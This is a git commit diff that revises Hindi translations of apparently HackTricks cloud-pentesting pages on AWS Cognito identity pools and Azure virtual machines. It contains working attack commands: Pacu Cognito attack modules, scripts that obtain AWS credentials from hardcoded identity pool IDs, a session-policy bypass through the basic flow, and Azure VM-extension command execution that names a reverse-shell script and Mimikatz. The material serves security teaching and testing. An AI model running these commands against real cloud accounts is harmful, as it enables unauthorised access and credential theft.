Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito-

This commit is contained in:
Translator
2025-01-26 14:51:43 +00:00
parent 82b560d00e
commit cb903c1ebe
3 changed files with 41 additions and 41 deletions

View File

@@ -7,7 +7,7 @@
Identity pools एक महत्वपूर्ण भूमिका निभाते हैं क्योंकि ये आपके उपयोगकर्ताओं को **अस्थायी क्रेडेंशियल्स** प्राप्त करने में सक्षम बनाते हैं। ये क्रेडेंशियल्स विभिन्न AWS सेवाओं, जैसे कि Amazon S3 और DynamoDB, तक पहुँचने के लिए आवश्यक हैं। Identity pools की एक उल्लेखनीय विशेषता यह है कि ये गुमनाम अतिथि उपयोगकर्ताओं और उपयोगकर्ता प्रमाणीकरण के लिए विभिन्न पहचान प्रदाताओं का समर्थन करते हैं। समर्थित पहचान प्रदाता में शामिल हैं:
- Amazon Cognito user pools
-ोशल साइन-इन विकल्प जैसे Facebook, Google, Login with Amazon, और Sign in with Apple
-ामाजिक साइन-इन विकल्प जैसे Facebook, Google, Login with Amazon, और Sign in with Apple
- OpenID Connect (OIDC) के साथ संगत प्रदाता
- SAML (Security Assertion Markup Language) पहचान प्रदाता
- Developer authenticated identities
@@ -35,33 +35,33 @@ print(response)
```
### Cognito Sync
Identity Pool सत्र उत्पन्न करने के लिए, आपको पहले **एक पहचान ID उत्पन्न करने की आवश्यकता है**। यह पहचान ID **उस उपयोगकर्ता के सत्र की पहचान है**। इन पहचानों में 20 तक डेटा सेट हो सकते हैं जो 1MB तक की कुंजी-मूल्य जोड़े को संग्रहीत कर सकते हैं।
Identity Pool सत्र उत्पन्न करने के लिए, आपको पहले **एक Identity ID उत्पन्न करने की आवश्यकता है**। यह Identity ID **उस उपयोगकर्ता के सत्र की पहचान है**। इन पहचानों में 20 तक डेटा सेट हो सकते हैं जो 1MB तक की कुंजी-मूल्य जोड़े को संग्रहीत कर सकते हैं।
यह **एक उपयोगकर्ता की जानकारी रखने के लिए उपयोगी है** (जो हमेशा उसी पहचान ID का उपयोग करेगा)।
यह **एक उपयोगकर्ता की जानकारी रखने के लिए उपयोगी है** (जो हमेशा उसी Identity ID का उपयोग करेगा)।
इसके अलावा, सेवा **cognito-sync** वह सेवा है जो **इस जानकारी का प्रबंधन और समन्वय करने की अनुमति देती है** (डेटा सेट में, धाराओं में जानकारी भेजना और SNS संदेश...)
इसके अलावा, सेवा **cognito-sync** वह सेवा है जो **इस जानकारी का प्रबंधन और समन्वय करने की अनुमति देती है** (डेटा सेट में, धाराओं में जानकारी भेजना और SNSs संदेश...).
### Tools for pentesting
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, id टोकन में ग्रहणीय भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है।
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताओं का उपयोग जो पहुच नियंत्रण के लिए हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, id टोकन में ग्रहणीय भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है।
मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें।
#### Usage
Sample cognito\_\_attack उपयोग उपयोगकर्ता निर्माण और दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ सभी प्रिवेस्क वेक्टरों क प्रयास करने के लिए:
उपयोगकर्ता निर्माण और दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ सभी प्रिवेस्क वेक्टरों क प्रयास के लिए नमूना cognito\_\_attack उपयोग:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि को इकट्ठा करने के लिए:
सैंपल cognito\_\_enum का उपयोग सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ताओं आदि को इकट्ठा करने के लिए करें, जो वर्तमान AWS खाते में दृश्य हैं:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें अनचाही खाता निर्माण और पहचान पूल वृद्धि शामिल है।
#### स्थापना
#### Installation
```bash
$ pip install cognito-scanner
```
@@ -69,18 +69,18 @@ $ pip install cognito-scanner
```bash
$ cognito-scanner --help
```
अधिक जानकारी के लिए देखें https://github.com/padok-team/cognito-scanner
For more information check https://github.com/padok-team/cognito-scanner
## IAM भूमिकाओं तक पहुँच
### अनधिकृत
### बिना प्रमाणीकरण के
एक हमलावर को **AWS क्रेडेंशियल्स प्राप्त करने** के लिए एक Cognito ऐप में अनधिकृत उपयोगकर्ता के रूप में केवल **Identity Pool ID** जानने की आवश्यकता होती है, और यह **ID को वेब/मोबाइल** **ऐप्लिकेशन** में हार्डकोड किया जाना चाहिए ताकि इसका उपयोग किया जा सके। एक ID इस तरह दिखती है: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (यह ब्रूटफोर्स करने योग्य नहीं है)।
एक हमलावर को **AWS क्रेडेंशियल्स** प्राप्त करने के लिए एक Cognito ऐप में बिना प्रमाणीकरण वाले उपयोगकर्ता के रूप में केवल **Identity Pool ID** जानने की आवश्यकता होती है, और यह **ID को वेब/मोबाइल** **ऐप्लिकेशन** में हार्डकोड किया जाना चाहिए ताकि इसका उपयोग किया जा सके। एक ID इस तरह दिखती है: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (यह ब्रूटफोर्स करने योग्य नहीं है)।
> [!TIP]
> **IAM Cognito अनधिकृत भूमिका जो बनाई गई है उसे** डिफ़ॉल्ट रूप से `Cognito_<Identity Pool name>Unauth_Role` कहा जात है।
> **IAM Cognito बिना प्रमाणीकरण वाली भूमिका जो बनाई गई है** डिफ़ॉल्ट रूप से `Cognito_<Identity Pool name>Unauth_Role` कहात है।
यदि आप एक हार्डकोडेड Identity Pools ID पाते हैं और यह अनधिकृत उपयोगकर्ताओं की अनुमति देता है, तो आप AWS क्रेडेंशियल्स प्राप्त कर सकते हैं:
यदि आप एक हार्डकोडेड Identity Pools ID पाते हैं और यह बिना प्रमाणीकरण वाले उपयोगकर्ताओं की अनुमति देता है, तो आप AWS क्रेडेंशियल्स प्राप्त कर सकते हैं:
```python
import requests
@@ -106,19 +106,19 @@ r = requests.post(url, json=params, headers=headers)
print(r.json())
```
या आप निम्नलिखित **aws cli commands** का उपयोग कर सकते हैं:
या आप निम्नलिखित **aws cli कमांड** का उपयोग कर सकते हैं:
```bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
```
> [!WARNING]
> ध्यान दें कि डिफ़ॉल्ट रूप से एक अनधिकृत cognito **उपयोगकर्ता को कोई अनुमति नहीं हो सकती, भले ही इसे एक नीति के माध्यम से सौंपा गया हो**। निम्नलिखित अनुभाग की जांच करें।
> ध्यान दें कि डिफ़ॉल्ट रूप से एक अनधिकृत cognito **उपयोगकर्ता को कोई अनुमति नहीं मिल सकती, भले ही इसे एक नीति के माध्यम से सौंपा गया हो**। निम्नलिखित अनुभाग की जांच करें।
### Enhanced vs Basic Authentication flow
पिछले अनुभाग ने **डिफ़ॉल्ट संवर्धित प्रमाणीकरण प्रवाह** का पालन किया। यह प्रवाह IAM भूमिका सत्र के लिए एक **प्रतिबंधात्मक** [**सत्र नीति**](../../aws-basic-information/#session-policies) सेट करता है। यह नीति केवल सत्र को [**इस सूची से सेवाओं का उपयोग करने**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) की अनुमति देगी (भले ही भूमिका को अन्य सेवाओं तक पहुंच हो)।
पिछले अनुभाग ने **डिफ़ॉल्ट संवर्धित प्रमाणीकरण प्रवाह** का पालन किया। यह प्रवाह IAM भूमिका सत्र के लिए एक **प्रतिबंधात्मक** [**सत्र नीति**](../../aws-basic-information/index.html#session-policies) सेट करता है। यह नीति केवल सत्र को [**इस सूची से सेवाओं का उपयोग करने**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) की अनुमति देगी (भले ही भूमिका को अन्य सेवाओं तक पहुंच हो)।
हालांकि, इसे बायपास करने का एक तरीका है, यदि **पहचान पूल में "बेसिक (क्लासिक) प्रवाह" सक्षम है**, तो उपयोगकर्ता उस प्रवाह का उपयोग करके एक सत्र प्राप्त कर सकेगा जिसमें **वह प्रतिबंधात्मक सत्र नीति नहीं होगी**
हालांकि, इसे बायपास करने का एक तरीका है, यदि **पहचान पूल में "बेसिक (क्लासिक) फ्लो" सक्षम है**, तो उपयोगकर्ता उस प्रवाह का उपयोग करके एक सत्र प्राप्त कर सकेगा जिसमें **वह प्रतिबंधात्मक सत्र नीति नहीं होगी**
```bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
@@ -135,7 +135,7 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<ro
> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`
IAM क्रेडेंशियल्स का एक सेट होने पर आपको [यह जांचना चाहिए कि आपके पास कौन सा एक्सेस है](../../#whoami) और [अधिकार बढ़ाने की कोशिश करें](../../aws-privilege-escalation/).
IAM क्रेडेंशियल्स का एक सेट होने पर आपको [यह जांचना चाहिए कि आपके पास कौन सा एक्सेस है](../../index.html#whoami) और [अधिकार बढ़ाने की कोशिश करें](../../aws-privilege-escalation/index.html).
### प्रमाणित
@@ -149,27 +149,27 @@ IAM क्रेडेंशियल्स का एक सेट होने
> [!TIP]
> **IAM Cognito प्रमाणित भूमिका जो बनाई गई है** उसे डिफ़ॉल्ट रूप से `Cognito_<Identity Pool name>Auth_Role` कहा जाता है।
वैसे भी, **निम्नलिखित उदाहरण** अपेक्षा करता है कि आपने पहले ही **Cognito User Pool** में लॉग इन किया है जिसका उपयोग पहचान पूल तक पहुँचने के लिए किया गया है (यह न भूलें कि अन्य प्रकार के पहचान प्रदाता भी कॉन्फ़िगर कि जा सकत है)।
वैसे भी, **निम्नलिखित उदाहरण** यह अपेक्षाकृत करता है कि आपने पहले ही **Cognito User Pool** में लॉग इन किया है जिसका उपयोग पहचान पूल तक पहुँचने के लिए किया गया है (यह न भूलें कि अन्य प्रकार के पहचान प्रदाताओं को भी कॉन्फ़िगर किया जा सकत है)।
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
--identity-pool-id &#x3C;identity_pool_id> \
--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# पिछले कमांड प्रतिक्रिया से identity_id प्राप्त करें
aws cognito-identity get-credentials-for-identity \
--identity-id &#x3C;identity_id> \
--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# IdToken में आप देख सकते हैं कि उपयोगकर्ता को User Pool Groups के कारण कौन सी भूमिकाएँ प्राप्त है
# IdToken में आप उन भूमिकाओं को पा सकते हैं जिनका उपयोगकर्ता को User Pool Groups के कारण एक्सेस है
# विशिष्ट भूमिका के लिए क्रेडेंशियल्स प्राप्त करने के लिए --custom-role-arn का उपयोग करें
aws cognito-identity get-credentials-for-identity \
--identity-id &#x3C;identity_id> \
<strong> --custom-role-arn &#x3C;role_arn> \
</strong> --logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
--identity-id <identity_id> \
<strong> --custom-role-arn <role_arn> \
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
</code></pre>
> [!WARNING]
> यह संभव है कि **पहचान प्रदाता के आधार पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जाएं** जिनमें उपयोगकर्ता लॉग इन हो रहा है या यहां तक कि **उपयोगकर्ता** (क्लेम का उपयोग करके) के आधार पर। इसलिए, यदि आपके पास एक ही या विभिन्न प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुँच है, तो **लॉग इन करना और उनके सभी IAM भूमिकाओं तक पहुँच प्राप्त करना** **लायक हो सकता है**।
> यह संभव है कि **पहचान प्रदाता के आधार पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जाएं** जिस पर उपयोगकर्ता लॉग इन कर रहा है या यहां तक कि **उपयोगकर्ता** (क्लेम का उपयोग करके) के आधार पर। इसलिए, यदि आपके पास एक ही या विभिन्न प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुँच है, तो सभी के IAM भूमिकाओं तक पहुँचने के लिए लॉग इन करना **लायक हो सकता है**।
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -48,7 +48,7 @@ Azure वर्चुअल मशीनें (VMs) लचीली, ऑन-ड
- **2 या अधिक VMs से डिस्क को संलग्न करने के लिए सक्षम करना संभव है**
- डिफ़ॉल्ट रूप से हर डिस्क **एन्क्रिप्टेड** होती है एक प्लेटफ़ॉर्म कुंजी के साथ।
- स्नैपशॉट में भी यही
- डिफ़ॉल्ट रूप से यह **सभी नेटवर्क से डिस्क साझा करने** की अनुमति देता है, लेकिन इसे केवल कुछ **निजी पहु** तक **सीमित** किया जा सकता है या **सार्वजनिक और निजी पहु** को पूरी तरह से **निष्क्रिय** किया जा सकता है।
- डिफ़ॉल्ट रूप से यह **सभी नेटवर्क से डिस्क साझा करने** की अनुमति देता है, लेकिन इसे केवल कुछ **निजी पहु** तक **सीमित** किया जा सकता है या **सार्वजनिक और निजी पहु** को पूरी तरह से **निष्क्रिय** किया जा सकता है।
- स्नैपशॉट में भी यही
- **डिस्क को निर्यात करने के लिए एक SAS URI** (अधिकतम 60 दिनों के लिए) **जनरेट करना संभव है**, जिसे प्रमाणीकरण की आवश्यकता हो सकती है या नहीं
- स्नैपशॉट में भी यही
@@ -79,7 +79,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
एक **VM छवि** एक टेम्पलेट है जिसमें ऑपरेटिंग सिस्टम, एप्लिकेशन सेटिंग्स और फ़ाइल सिस्टम शामिल होते हैं जो **एक नया वर्चुअल मशीन (VM)** बनाने के लिए आवश्यक होते हैं। एक छवि और एक डिस्क स्नैपशॉट के बीच का अंतर यह है कि एक डिस्क स्नैपशॉट एक पढ़ने के लिए केवल, समय-निर्धारित प्रति होती है जो एकल प्रबंधित डिस्क की होती है, जिसका उपयोग मुख्य रूप से बैकअप या समस्या निवारण के लिए किया जाता है, जबकि एक छवि **कई डिस्क शामिल कर सकती है और इसे नए VMs बनाने के लिए टेम्पलेट के रूप में सेवा देने के लिए डिज़ाइन किया गया है**।\
छवियों का प्रबंधन **Azure के चित्र अनुभाग** में या **Azure कंप्यूट गैलरी** के अंदर किया जा सकता है, जो **संस्करण** उत्पन्न करने और छवि को क्रॉस-टेनेंट साझा करने या यहां तक कि इसे सार्वजनिक बनाने की अनुमति देता है।
एक **पुनर्स्थापना बिंदु** VM कॉन्फ़िगरेशन और **समय-निर्धारित** एप्लिकेशन-संगत **स्नैपशॉट्स** को संग्रहीत करता है जो VM से जुड़े सभी प्रबंधित डिस्क के होते हैं। यह VM से संबंधित है और इसका उद्देश्य उस विशेष समय में उस VM को पुनर्स्थापित करने में सक्षम होना है।
एक **पुनर्स्थापना बिंदु** VM कॉन्फ़िगरेशन और **समय-निर्धारित** एप्लिकेशन-संगत **स्नैपशॉट्स** को संग्रहीत करता है जो VM से जुड़े सभी प्रबंधित डिस्क के होते हैं। यह VM से संबंधित है और इसका उद्देश्य उस विशेष समय पर उस VM को पुनर्स्थापित करने में सक्षम होना है।
{{#tabs}}
{{#tab name="az cli"}}
@@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
[**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक अनुप्रयोग और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी **कार्यभार को** प्राथमिक साइट से द्वितीयक स्थान पर चलने वाले भौतिक और आभासी मशीनों (VMs) पर **प्रतिलिपि** करती है। जब आपके प्राथमिक साइट पर आउटेज होता है, तो आप द्वितीयक स्थान पर स्विच करते हैं, और वहां से अनुप्रयोगों तक पहुंचते हैं। जब प्राथमिक स्थान फिर से चलने लगता है, तो आप वहां वापस जा सकते हैं।
[**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक अनुप्रयोग और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी **कार्यभार को दोहराती है** जो भौतिक और आभासी मशीनों (VMs) पर चल रहे हैं, एक प्राथमिक साइट से एक द्वितीयक स्थान पर। जब आपके प्राथमिक स्थान पर आउटेज होता है, तो आप एक द्वितीयक स्थान पर स्विच करते हैं, और वहां से अनुप्रयोगों तक पहुंचते हैं। जब प्राथमिक स्थान फिर से चालू हो जाता है, तो आप वापस स्विच कर सकते हैं।
## Azure Bastion
Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **हटाकर**
Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **हटाता है**
Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें VNet पर काम करने के लिए `/26` नेटमास्क होत है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है, `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें एक `/26` नेटमास्क होता है जिस VNet पर इसे काम करने की आवश्यकता होत है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है, `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
आपी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
आप अपनी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:
{{#tabs}}
{{#tab name="az cli"}}
@@ -457,7 +457,7 @@ Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type
{{#endtab }}
{{#endtabs }}
यह संभव है कि **कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाएं**:
यह संभव है कि **कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाए जाए**:
{{#tabs }}
{{#tab name="Linux" }}
@@ -551,7 +551,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है:
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन को प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** को **निष्पादित** करने के लिए किया जा सकता है:
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -622,12 +622,12 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
नए एप्लिकेशन स्थापित करने के लिए देखें [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
नए एप्लिकेशन स्थापित करने के तरीके की जांच करें [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरियों को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है।
लेकिन vm ऐप्स के लिए **कोई "मार्केटप्लेस" नहीं है** जैस कि एक्सटेंशन के लिए है।
लेकिन वहाँ **vm ऐप्स के लिए "मार्केटप्लेस" नहीं है** जैस कि एक्सटेंशन के लिए है।
आवश्यक अनुमतियाँ हैं:
@@ -637,7 +637,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
- `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write`
मनमाने कमांड निष्पादित करने के लिए शोषण उदाहरण:
मनमाने आदेशों को निष्पादित करने के लिए शोषण का उदाहरण:
{{#tabs }}
{{#tab name="Linux" }}
@@ -793,10 +793,10 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
## बिना प्रमाणीकरण का अभिगम
{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}
## पोस्ट शोषण
## पोस्ट एक्सप्लोइटेशन
{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md